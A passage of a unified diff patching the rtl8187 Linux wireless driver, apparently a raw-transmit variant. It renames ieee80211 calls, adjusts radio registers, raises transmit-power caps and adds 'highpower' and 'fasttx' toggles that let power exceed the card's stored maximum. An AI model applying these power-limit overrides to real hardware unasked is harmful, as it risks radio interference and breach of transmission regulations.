write_rtl8225(dev, 0, 0x1b7); - + /* reg 8 pg 1 = 23*/ if( read_rtl8225(dev, 8) != 0x588) vz2 = 0; - - else /* reg 9 pg 1 = 24 */ + + else /* reg 9 pg 1 = 24 */ if( read_rtl8225(dev, 9) != 0x700) vz2 = 0; - - /* sw back to pg 0 */ + + /* sw back to pg 0 */ write_rtl8225(dev, 0, 0xb7); return vz2; - + } #if 0 void rtl8225_rf_close(struct net_device *dev) { - write_rtl8225(dev, 0x4, 0x1f); - + write_rtl8225(dev, 0x4, 0x1f); + force_pci_posting(dev); mdelay(1); - + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_OFF); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_OFF); } @@ -380,24 +404,24 @@ short rtl8225_rf_set_sens(struct net_device *dev, short sens) { if (sens <0 || sens > 6) return -1; - + if(sens > 4) write_rtl8225(dev, 0x0c, 0x850); - else + else write_rtl8225(dev, 0x0c, 0x50); sens= 6-sens; rtl8225_set_gain(dev, sens); - + write_phy_cck(dev, 0x41, rtl8225_threshold[sens]); return 0; - + } #endif void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + // int GainIdx; // int GainSetting; int i; @@ -406,44 +430,48 @@ u8 max_cck_power_level; //u8 min_cck_power_level; u8 max_ofdm_power_level; - u8 min_ofdm_power_level; + u8 min_ofdm_power_level; u8 cck_power_level = 0xff & priv->chtxpwr[ch]; u8 ofdm_power_level = 0xff & priv->chtxpwr_ofdm[ch]; - - - max_cck_power_level = 15; + + + max_cck_power_level = 35; //min_cck_power_level = 0; - max_ofdm_power_level = 25; // 12 -> 25 + max_ofdm_power_level = 35; // 12 -> 25 min_ofdm_power_level = 10; - + /* CCK power setting */ if(cck_power_level > max_cck_power_level) + { cck_power_level = max_cck_power_level; - + priv->chtxpwr[ch] = max_cck_power_level; + } + cck_power_level += priv->cck_txpwr_base; - + if(cck_power_level > 35) cck_power_level = 35; - - if(ch == 14) + + if(ch == 14) cck_power_table = rtl8225z2_tx_power_cck_ch14; - else + else cck_power_table = rtl8225z2_tx_power_cck; - - + + if(cck_power_level >= 20 && cck_power_level < 30) + cck_power_level = 19; + for(i=0;i<8;i++){ - power = cck_power_table[i]; write_phy_cck(dev, 0x44 + i, power); } - + //write_nic_byte(dev, TX_GAIN_CCK, power); //2005.11.17, write_nic_byte(dev, TX_GAIN_CCK, ZEBRA2_CCK_OFDM_GAIN_SETTING[cck_power_level]); - + force_pci_posting(dev); mdelay(1); - + /* OFDM power setting */ // Old: // if(ofdm_power_level > max_ofdm_power_level) @@ -454,26 +482,26 @@ ofdm_power_level = max_ofdm_power_level; else ofdm_power_level += min_ofdm_power_level; - + ofdm_power_level += priv->ofdm_txpwr_base; - + if(ofdm_power_level > 35) ofdm_power_level = 35; - + rtl8185_set_anaparam2(dev,RTL8225_ANAPARAM2_ON); - + write_phy_ofdm(dev,2,0x42); write_phy_ofdm(dev,5,0); write_phy_ofdm(dev,6,0x40); write_phy_ofdm(dev,7,0); - write_phy_ofdm(dev,8,0x40); - + write_phy_ofdm(dev,8,0x40); + //write_nic_byte(dev, TX_GAIN_OFDM, ofdm_power_level); //2005.11.17, write_nic_byte(dev, TX_GAIN_OFDM, ZEBRA2_CCK_OFDM_GAIN_SETTING[ofdm_power_level]); - + force_pci_posting(dev); mdelay(1); //write_nic_byte(dev, TX_AGC_CONTROL,4); @@ -483,39 +511,39 @@ void rtl8225_set_mode(struct net_device *dev, short modeb) { write_phy_ofdm(dev, 0x15, (modeb ? 0x0 : 0x40)); - write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); + write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); } #endif void rtl8225z2_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; - + rtl8225z2_SetTXPowerLevel(dev, ch); - + write_rtl8225(dev, 0x7, rtl8225_chan[ch]); - + force_pci_posting(dev); mdelay(10); - + write_nic_byte(dev,SIFS,0x22);// SIFS: 0x22 - + if(gset) - write_nic_byte(dev,DIFS,20); //DIFS: 20 + write_nic_byte(dev,DIFS,20); //DIFS: 20 else - write_nic_byte(dev,DIFS,0x24); //DIFS: 36 - + write_nic_byte(dev,DIFS,0x24); //DIFS: 36 + if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 - + else write_nic_byte(dev,SLOT,0x14); //SLOT: 20 (0x14) - - + + if(gset){ write_nic_byte(dev,EIFS,91 - 20); // EIFS: 91 (0x5B) write_nic_byte(dev,CW_VAL,0x73); //CW VALUE: 0x37 @@ -529,68 +557,68 @@ } #if 0 -void rtl8225_host_pci_init(struct net_device *dev) +void rtl8225_host_pci_init(struct net_device *dev) { write_nic_word(dev, RFPinsOutput, 0x480); - + rtl8185_rf_pins_enable(dev); - + //if(priv->card_8185 == 2 && priv->enable_gpio0 ) /* version D */ //write_nic_word(dev, RFPinsSelect, 0x88); //else write_nic_word(dev, RFPinsSelect, 0x88 | SW_CONTROL_GPIO); /* 0x488 | SW_CONTROL_GPIO */ - + write_nic_byte(dev, GP_ENABLE, 0); - + force_pci_posting(dev); mdelay(200); - + write_nic_word(dev, GP_ENABLE, 0xff & (~(1<<6))); /* bit 6 is for RF on/off detection */ - + } -void rtl8225_host_usb_init(struct net_device *dev) +void rtl8225_host_usb_init(struct net_device *dev) { write_nic_byte(dev,RFPinsSelect+1,0); write_nic_byte(dev,GPIO,0); - + write_nic_byte_E(dev,0x53,read_nic_byte_E(dev,0x53) | (1<<7)); - + write_nic_byte(dev,RFPinsSelect+1,4); write_nic_byte(dev,GPIO,0x20); write_nic_byte(dev,GP_ENABLE,0); - - /* Config BB & RF */ + + /* Config BB & RF */ write_nic_word(dev, RFPinsOutput, 0x80); write_nic_word(dev, RFPinsSelect, 0x80); write_nic_word(dev, RFPinsEnable, 0x80); - + mdelay(100); - mdelay(1000); + mdelay(1000); } #endif -void rtl8225z2_rf_init(struct net_device *dev) +void rtl8225z2_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; u32 data,addr; - + priv->chan = channel; rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_type == USB) rtl8225_host_usb_init(dev); @@ -598,42 +626,42 @@ rtl8225_host_pci_init(dev); write_nic_dword(dev, RF_TIMING, 0x000a8008); - + brsr = read_nic_word(dev, BRSR); - - write_nic_word(dev, BRSR, 0xffff); + + write_nic_word(dev, BRSR, 0xffff); write_nic_dword(dev, RF_PARA, 0x100044); - + #if 1 //0->1 rtl8180_set_mode(dev, EPROM_CMD_CONFIG); write_nic_byte(dev, CONFIG3, 0x44); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); #endif - - + + rtl8185_rf_pins_enable(dev); // mdelay(1000); write_rtl8225(dev, 0x0, 0x2bf); mdelay(1); - - + + write_rtl8225(dev, 0x1, 0xee0); mdelay(1); write_rtl8225(dev, 0x2, 0x44d); mdelay(1); write_rtl8225(dev, 0x3, 0x441); mdelay(1); - + write_rtl8225(dev, 0x4, 0x8c3);mdelay(1); - - - + + + write_rtl8225(dev, 0x5, 0xc72);mdelay(1); // } - + write_rtl8225(dev, 0x6, 0xe6); mdelay(1); write_rtl8225(dev, 0x7, ((priv->card_type == USB)? 0x82a : rtl8225_chan[channel])); mdelay(1); @@ -653,28 +681,28 @@ write_rtl8225(dev, 0xe, 0x2b); mdelay(1); - write_rtl8225(dev, 0xf, 0x114); - - + write_rtl8225(dev, 0xf, 0x114); + + mdelay(100); - - + + //if(priv->card_type != USB) /* maybe not needed even for 8185 */ -// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); - +// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); + write_rtl8225(dev, 0x0, 0x1b7); - + for(i=0;i<95;i++){ write_rtl8225(dev, 0x1, (u8)(i+1)); - + #if 0 - if(priv->phy_ver == 1) + if(priv->phy_ver == 1) /* version A */ write_rtl8225(dev, 0x2, rtl8225a_rxgain[i]); else #endif /* version B & C & D*/ - + write_rtl8225(dev, 0x2, rtl8225z2_rxgain[i]); } write_rtl8225(dev, 0x3, 0x80); @@ -683,16 +711,16 @@ write_rtl8225(dev, 0x0, 0xb7); write_rtl8225(dev, 0x2, 0xc4d); - + if(priv->card_type == USB){ // force_pci_posting(dev); mdelay(200); - + write_rtl8225(dev, 0x2, 0x44d); - + // force_pci_posting(dev); mdelay(100); - + }//End of if(priv->card_type == USB) /* FIXME!! rtl8187 we have to check if calibrarion * is successful and eventually cal. again (repeat @@ -713,23 +741,23 @@ } } //force_pci_posting(dev); - - mdelay(200); //200 for 8187 - - + + mdelay(200); //200 for 8187 + + // //if(priv->card_type != USB){ // write_rtl8225(dev, 0x2, 0x44d); // write_rtl8225(dev, 0x7, rtl8225_chan[channel]); // write_rtl8225(dev, 0x2, 0x47d); -// +// // force_pci_posting(dev); // mdelay(100); -// +// // write_rtl8225(dev, 0x2, 0x44d); // //} - - write_rtl8225(dev, 0x0, 0x2bf); - + + write_rtl8225(dev, 0x0, 0x2bf); + if(priv->card_type != USB) rtl8185_rf_pins_enable(dev); //set up ZEBRA AGC table, 2005.11.17, @@ -744,20 +772,20 @@ mdelay(1); } -#if 0 +#if 0 for(i=0;i<128;i++){ write_phy_ofdm(dev, 0xb, rtl8225_agc[i]); - - mdelay(1); + + mdelay(1); write_phy_ofdm(dev, 0xa, (u8)i+ 0x80); - - mdelay(1); + + mdelay(1); } #endif - + force_pci_posting(dev); mdelay(1); - + write_phy_ofdm(dev, 0x0, 0x1); mdelay(1); write_phy_ofdm(dev, 0x1, 0x2); mdelay(1); write_phy_ofdm(dev, 0x2, ((priv->card_type == USB)? 0x42 : 0x62)); mdelay(1); @@ -771,20 +799,20 @@ write_phy_ofdm(dev, 0xa, 0x8); mdelay(1); - //write_phy_ofdm(dev, 0x18, 0xef); + //write_phy_ofdm(dev, 0x18, 0xef); // } //} write_phy_ofdm(dev, 0xb, 0x80); mdelay(1); write_phy_ofdm(dev, 0xc, 0x1);mdelay(1); - + //if(priv->card_type != USB) - write_phy_ofdm(dev, 0xd, 0x43); - + write_phy_ofdm(dev, 0xd, 0x43); + write_phy_ofdm(dev, 0xe, 0xd3);mdelay(1); - + #if 0 if(priv->card_8185 == 1){ if(priv->card_8185_Bversion) @@ -796,17 +824,17 @@ write_phy_ofdm(dev, 0xf, 0x38);mdelay(1); /*ver D & 8187*/ // } - + // if(priv->card_8185 == 1 && priv->card_8185_Bversion) // write_phy_ofdm(dev, 0x10, 0x04);/*ver B*/ // else write_phy_ofdm(dev, 0x10, 0x84);mdelay(1); /*ver C & D & 8187*/ - + write_phy_ofdm(dev, 0x11, 0x07);mdelay(1); /*agc resp time 700*/ - + // if(priv->card_8185 == 2){ /* Ver D & 8187*/ write_phy_ofdm(dev, 0x12, 0x20);mdelay(1); @@ -824,47 +852,46 @@ write_phy_ofdm(dev, 0x15, 0x40); mdelay(1); write_phy_ofdm(dev, 0x16, 0x0); mdelay(1); write_phy_ofdm(dev, 0x17, 0x40); mdelay(1); - + // if (priv->card_type == USB) // write_phy_ofdm(dev, 0x18, 0xef); - + write_phy_ofdm(dev, 0x18, 0xef);mdelay(1); - + write_phy_ofdm(dev, 0x19, 0x19); mdelay(1); write_phy_ofdm(dev, 0x1a, 0x20); mdelay(1); write_phy_ofdm(dev, 0x1b, 0x15);mdelay(1); - + write_phy_ofdm(dev, 0x1c, 0x4);mdelay(1); write_phy_ofdm(dev, 0x1d, 0xc5);mdelay(1); //2005.11.17, - + write_phy_ofdm(dev, 0x1e, 0x95);mdelay(1); write_phy_ofdm(dev, 0x1f, 0x75); mdelay(1); // } - + write_phy_ofdm(dev, 0x20, 0x1f);mdelay(1); write_phy_ofdm(dev, 0x21, 0x17);mdelay(1); - + write_phy_ofdm(dev, 0x22, 0x16);mdelay(1); // if(priv->card_type != USB) write_phy_ofdm(dev, 0x23, 0x80);mdelay(1); //FIXME maybe not needed // <> - + write_phy_ofdm(dev, 0x24, 0x46); mdelay(1); write_phy_ofdm(dev, 0x25, 0x00); mdelay(1); write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); write_phy_ofdm(dev, 0x27, 0x88); mdelay(1); - + // <> Set init. gain to m74dBm. - rtl8225z2_set_gain(dev,4); - + write_phy_cck(dev, 0x0, 0x98); mdelay(1); write_phy_cck(dev, 0x3, 0x20); mdelay(1); write_phy_cck(dev, 0x4, 0x7e); mdelay(1); @@ -875,6 +902,9 @@ /* Ver C & D & 8187*/ write_phy_cck(dev, 0x8, 0x2e);mdelay(1); + write_phy_cck(dev, 0x9, 0x11);mdelay(1); + write_phy_cck(dev, 0xa, 0x17);mdelay(1); + write_phy_cck(dev, 0xb, 0x11);mdelay(1); write_phy_cck(dev, 0x10, ((priv->card_type == USB) ? 0x9b: 0x93)); mdelay(1); write_phy_cck(dev, 0x11, 0x88); mdelay(1); @@ -885,52 +915,59 @@ else #endif write_phy_cck(dev, 0x13, 0xd0); /* Ver C & D & 8187*/ - - write_phy_cck(dev, 0x19, 0x0); - write_phy_cck(dev, 0x1a, 0xa0); - write_phy_cck(dev, 0x1b, 0x8); - write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ - - write_phy_cck(dev, 0x41, 0x8d);mdelay(1); - +// write_phy_cck(dev, 0x19, 0x0); +// write_phy_cck(dev, 0x1a, 0xa0); +// write_phy_cck(dev, 0x1b, 0x8); +// write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ + write_phy_cck(dev, 0x19, 0x0); mdelay(1); + write_phy_cck(dev, 0x1a, 0xa0); mdelay(1); + write_phy_cck(dev, 0x1b, 0x8); mdelay(1); + write_phy_cck(dev, 0x1d, 0x0); mdelay(1); + write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ mdelay(1); + write_phy_cck(dev, 0x41, 0x86); mdelay(1); + + +// write_phy_cck(dev, 0x41, 0x8d);mdelay(1); + + write_phy_cck(dev, 0x42, 0x15); mdelay(1); write_phy_cck(dev, 0x43, 0x18); mdelay(1); - - + + write_phy_cck(dev, 0x44, 0x36); mdelay(1); write_phy_cck(dev, 0x45, 0x35); mdelay(1); write_phy_cck(dev, 0x46, 0x2e); mdelay(1); write_phy_cck(dev, 0x47, 0x25); mdelay(1); write_phy_cck(dev, 0x48, 0x1c); mdelay(1); write_phy_cck(dev, 0x49, 0x12); mdelay(1); - write_phy_cck(dev, 0x4a, 0x9); mdelay(1); - write_phy_cck(dev, 0x4b, 0x4); mdelay(1); + write_phy_cck(dev, 0x4a, 0x09); mdelay(1); + write_phy_cck(dev, 0x4b, 0x04); mdelay(1); write_phy_cck(dev, 0x4c, 0x5);mdelay(1); write_nic_byte(dev, 0x5b, 0x0d); mdelay(1); - + // <> // // TESTR 0xb 8187 // write_phy_cck(dev, 0x10, 0x93);// & 0xfb); -// +// // //if(priv->card_type != USB){ // write_phy_ofdm(dev, 0x2, 0x62); // write_phy_ofdm(dev, 0x6, 0x0); // write_phy_ofdm(dev, 0x8, 0x0); // //} - + rtl8225z2_SetTXPowerLevel(dev, channel); - + write_phy_cck(dev, 0x10, 0x9b); mdelay(1); /* Rx ant A, 0xdb for B */ write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); /* Rx ant A, 0x10 for B */ - + rtl8185_tx_antenna(dev, 0x3); /* TX ant A, 0x0 for B */ - - /* switch to high-speed 3-wire + + /* switch to high-speed 3-wire * last digit. 2 for both cck and ofdm */ if(priv->card_type == USB) @@ -943,23 +980,23 @@ // if(priv->card_type != USB) // rtl8225_set_gain(dev, 4); /* FIXME this '1' is random */ // <> // rtl8225_set_mode(dev, 1); /* FIXME start in B mode */ // <> -// +// // /* make sure is waken up! */ // write_rtl8225(dev,0x4, 0x9ff); -// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); +// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); // rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8225_rf_set_chan(dev, priv->chan); //write_nic_word(dev,BRSR,brsr); - + //rtl8225z2_rf_set_mode(dev); } -void rtl8225z2_rf_set_mode(struct net_device *dev) +void rtl8225z2_rf_set_mode(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->ieee80211->mode == IEEE_A) { write_rtl8225(dev, 0x5, 0x1865); @@ -970,15 +1007,15 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x10000000); }else{ - + write_rtl8225(dev, 0x5, 0x1864); write_nic_dword(dev, RF_PARA, 0x10044); write_nic_dword(dev, RF_TIMING, 0xa8008); @@ -987,12 +1024,12 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x04000002); } } diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_wx.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_wx.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_wx.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_wx.c 2008-02-22 15:32:50.000000000 +0100 @@ -1,19 +1,19 @@ -/* +/* This file contains wireless extension handlers. This is part of rtl8180 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part + + Parts of this driver are based on the GPL part of the official realtek driver. - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver. - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -21,20 +21,21 @@ #include "r8187.h" #include "r8180_hw.h" +#include "r8180_rtl8225.h" #define RATE_COUNT 4 u32 rtl8180_rates[] = {1000000,2000000,5500000,11000000, 6000000,9000000,12000000,18000000,24000000,36000000,48000000,54000000}; - + static int r8180_wx_get_freq(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_freq(priv->ieee80211,a,wrqu,b); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_freq_rtl7(priv->ieee80211,a,wrqu,b); } @@ -45,28 +46,28 @@ { int *parms = (int *)b; int bi = parms[0]; - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); DMESG("setting beacon interval to %x",bi); - + priv->ieee80211->beacon_interval=bi; rtl8180_commit(dev); up(&priv->wx_sem); - - return 0; + + return 0; } static int r8180_wx_set_forceassociate(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); int *parms = (int *)extra; - + priv->ieee80211->force_associate = (parms[0] > 0); - + return 0; } @@ -75,108 +76,228 @@ static int r8180_wx_get_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_mode(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_mode_rtl7(priv->ieee80211,a,wrqu,b); } -static int r8180_wx_get_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_rate(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_rate_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_set_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + ret = ieee80211_wx_set_rate_rtl7(priv->ieee80211,info,wrqu,extra); - ret = ieee80211_wx_set_rate(priv->ieee80211,info,wrqu,extra); - up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_rawtx(struct net_device *dev, - struct iw_request_info *info, - union iwreq_data *wrqu, char *extra) +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i=0; down(&priv->wx_sem); - - ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra); - + wrqu->power.value = 0; + for(i=0; i<15; i++) + { + if(priv->chtxpwr[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr_ofdm[i]; + } + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; up(&priv->wx_sem); - + + return 0; +} + +#if 1 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + int ret = 0, i=0; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + down(&priv->wx_sem); + + if (wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(!(priv->highpower) && wrqu->power.value > priv->txpwr_max) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > 35) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < 0) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<15;i++) + { + priv->chtxpwr[i] = priv->chtxpwr_orig[i] - (priv->txpwr_max - wrqu->power.value); +// if(priv->chtxpwr[i] > priv->chtxpwr_orig[i]) priv->chtxpwr[i] = 0; + + priv->chtxpwr_ofdm[i] = priv->chtxpwr_ofdm_orig[i] - (priv->txpwr_max - wrqu->power.value); +// if(priv->chtxpwr_ofdm[i] > priv->chtxpwr_ofdm_orig[i]) priv->chtxpwr_ofdm[i] = 0; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: + up(&priv->wx_sem); + return ret; - + } +#endif -static int r8180_wx_set_crcmon(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_crcmon(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = priv->crcmon; down(&priv->wx_sem); - - if(enable) + + if(enable) priv->crcmon=1; - else + else priv->crcmon=0; - DMESG("bad CRC in monitor mode are %s", + DMESG("bad CRC in monitor mode are %s", priv->crcmon ? "accepted" : "rejected"); if(prev != priv->crcmon && priv->up){ rtl8180_down(dev); rtl8180_up(dev); } - + + up(&priv->wx_sem); + + return 0; +} + +static int r8180_wx_set_fasttx(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int *parms = (int *)extra; + int enable = (parms[0] > 0); + short prev = priv->fasttx; + + down(&priv->wx_sem); + + if(enable) + priv->fasttx=1; + else + priv->fasttx=0; + + DMESG("Transmission method (regarding speed) set to: %s", + priv->fasttx ? "fast" : "normal"); + + if(prev != priv->fasttx && priv->up){ + rtl8180_down(dev); + rtl8180_up(dev); + } + up(&priv->wx_sem); - + + return 0; +} + +static int r8180_wx_set_highpower(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int *parms = (int *)extra; + int enable = (parms[0] > 0); + int i=0; + short prev = priv->highpower; + + down(&priv->wx_sem); + + if(enable) + priv->highpower=1; + else + priv->highpower=0; + + DMESG("Increasable transmission power %s", + priv->highpower ? "enabled" : "disabled"); + + if( (prev != priv->highpower) && !(priv->highpower) && (priv->chtxpwr[1] > priv->chtxpwr_orig[1]) ) + { + for(i=1;i<15;i++) + { + priv->chtxpwr[i] = priv->chtxpwr_orig[i]; + priv->chtxpwr_ofdm[i] = priv->chtxpwr_ofdm_orig[i]; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + wrqu->power.value = priv->txpwr_max; + } + + up(&priv->wx_sem); + return 0; } static int r8180_wx_set_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_mode(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_mode_rtl7(priv->ieee80211,a,wrqu,b); + rtl8187_set_rxconf(dev); - + up(&priv->wx_sem); return ret; } -static int rtl8180_wx_get_range(struct net_device *dev, - struct iw_request_info *info, +static int rtl8180_wx_get_range(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { struct iw_range *range = (struct iw_range *)extra; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u16 val; int i; @@ -186,26 +307,26 @@ /* Let's try to keep this struct in the same order as in * linux/include/wireless.h */ - + /* TODO: See what values we can set, and remove the ones we can't * set, or fill them with some default data. */ /* ~5 Mb/s real (802.11b) */ - range->throughput = 5 * 1000 * 1000; + range->throughput = 5 * 1000 * 1000; // TODO: Not used in 802.11b? // range->min_nwid; /* Minimal NWID we are able to set */ // TODO: Not used in 802.11b? // range->max_nwid; /* Maximal NWID we are able to set */ - + /* Old Frequency (backward compat - moved lower ) */ -// range->old_num_channels; +// range->old_num_channels; // range->old_num_frequency; // range->old_freq[6]; /* Filler to keep "version" at the same offset */ if(priv->rf_set_sens != NULL) range->sensitivity = priv->max_sens; /* signal level threshold range */ - + range->max_qual.qual = 100; /* TODO: Find real max RSSI and stick here */ range->max_qual.level = 0; @@ -219,14 +340,14 @@ range->avg_qual.updated = 7; /* Updated all three */ range->num_bitrates = RATE_COUNT; - + for (i = 0; i < RATE_COUNT && i < IW_MAX_BITRATES; i++) { range->bitrate[i] = rtl8180_rates[i]; } - + range->min_frag = MIN_FRAG_THRESHOLD; range->max_frag = MAX_FRAG_THRESHOLD; - + range->pm_capa = 0; range->we_version_compiled = WIRELESS_EXT; @@ -243,18 +364,18 @@ range->num_channels = 14; for (i = 0, val = 0; i < 14; i++) { - + // Include only legal frequencies for some countries if ((priv->challow)[i+1]) { range->freq[val].i = i + 1; - range->freq[val].m = ieee80211_wlan_frequencies[i] * 100000; + range->freq[val].m = ieee80211_wlan_frequencies_rtl7[i] * 100000; range->freq[val].e = 1; val++; } else { // FIXME: do we need to set anything for channels // we don't use ? } - + if (val == IW_MAX_FREQUENCIES) break; } @@ -267,15 +388,15 @@ static int r8180_wx_set_scan(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + if(!priv->up) return -1; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_scan(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } @@ -286,50 +407,50 @@ { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(!priv->up) return -1; - + down(&priv->wx_sem); - ret = ieee80211_wx_get_scan(priv->ieee80211,a,wrqu,b); - + ret = ieee80211_wx_get_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_essid(struct net_device *dev, +static int r8180_wx_set_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_essid(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_essid_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } -static int 